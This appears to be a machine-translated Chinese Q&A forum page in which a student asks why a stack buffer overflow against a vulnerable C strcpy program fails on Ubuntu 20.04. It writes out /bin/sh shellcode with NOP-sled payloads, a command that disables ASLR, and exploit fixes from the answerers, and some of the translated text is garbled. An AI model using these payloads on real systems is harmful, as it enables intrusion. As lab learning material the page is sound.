缓冲区溢出攻击不适用于Ubuntu 20.04

时间:2020-05-12 22:17:00

标签: c security ubuntu buffer-overflow exploit

我正在尝试对使用缓冲区并打印它的简单C程序进行缓冲区溢出攻击。我尝试了很多组合,但是最后,当我尝试执行Shellcode时,总是会遇到Segmentation Fault。

我主要遵循了本教程:

How to exploit a buffer overflow vulnerability - Practical

我尝试过在m64中也编译程序的不同之处在于,当我在m32中进行编译时,我的内存地址都不同,我试图解释我的步骤,但是如果不清楚,您可以看一下视频,原因是我遵循了相同的步骤。

我用来进行攻击的代码是

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    return 0;
}

我以这种方式编译代码:

gcc -o example -fno-stack-protector -m64 -z execstack example.c 

我也尝试过使用m32进行编译,但是正如我之前所说,但是用gdb分解主程序后的结果与本教程完全不同,另一方面,当我使用m64进行编译时,它们非常相似,因此更容易理解。

编译完并打开gdb后,我将反汇编程序的主体,并寻找strcpy调用。我在strcpy调用之后选择了一个地址,然后在该地址中创建了一个断点。

此后,我运行python代码

run $(python -c "print('A'*256)")

然后我在运行此命令后检查程序的内容,该命令显示256 As。我用命令检查它

x/200xb $esp

我现在可以看到内存中我的“ AAA ..”序列开始的确切地址,将其写在纸上,然后再次运行我的python代码以了解其在“分段错误”状态下的取值。

一旦找到“分段故障”条件,我只需运行以下命令即可:

run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")

其中:

  • 222仅仅是我需要达到分段错误的\ x90的数量减去我的shellcode的大小(46字节)
  • 最后一个'\ x94 \ xcf \ xff \ xff'是我之前在论文中写的地址,当我检查内存中的'AAAA'序列并查看其起始位置时,当然是当我使用m64编译程序时这个地址更长

这时,当我运行命令时,应该执行shellcode,但是不会发生,它总是显示Segmentation Fault。

当然我也使用命令

禁用了aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

很抱歉,如果我对自己的解释感到困惑,我尝试了所有不同的可能性,但我始终没有得到正确的结果。 (当然会更改一些标志,m64,m32,并使用最后一个命令的值进行一些播放。)

在此先感谢您,我真的希望您能为我提供帮助,因为我需要为大学分配这个问题

2 个答案:

答案 0 :(得分:0)

我认为您的错误在于寄信人地址:

 ff11000000000000 |  -59.75 PB | ff90ffffffffffff |   32 PB | direct mapping of all physical memory (page_offset_base)

使用run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xfc\xff\xbf')") 代替0xffffcf94(在m32)。

这可能是错误的,因为您观看的视频确实很旧,并且直到今天为止,很多事情已经改变

要对其进行测试,请在主函数的return指令处设置一个断点,然后将0xbffffc94键入gdb以查看info registers(堆栈指针)的值是什么

如果不是这种情况,则可能是您的shellcode对于ubuntu 20.04而言已经过时,或者您在x86可执行文件中使用了x64 shellcode

尝试在您的shellcode的开头添加一个esp,以测试您的shellcode是否损坏并导致\xcc信号

我也尝试自己开发POC,这里是:

image

SIGSEGV

其中run $(python -c 'print "\x90"*255 + "\xcc" + "aaaabbbbcccc" + "\x68\xfb\xff\xbf"') 是255条\x90 * 255指令,以确保我们将落在陷阱nop上。 \xcc是我用来达到eip的垃圾,aaaabbbbcccc是堆栈的返回地址。

答案 1 :(得分:-1)

你需要在跳转地址之前添加“ret”gadget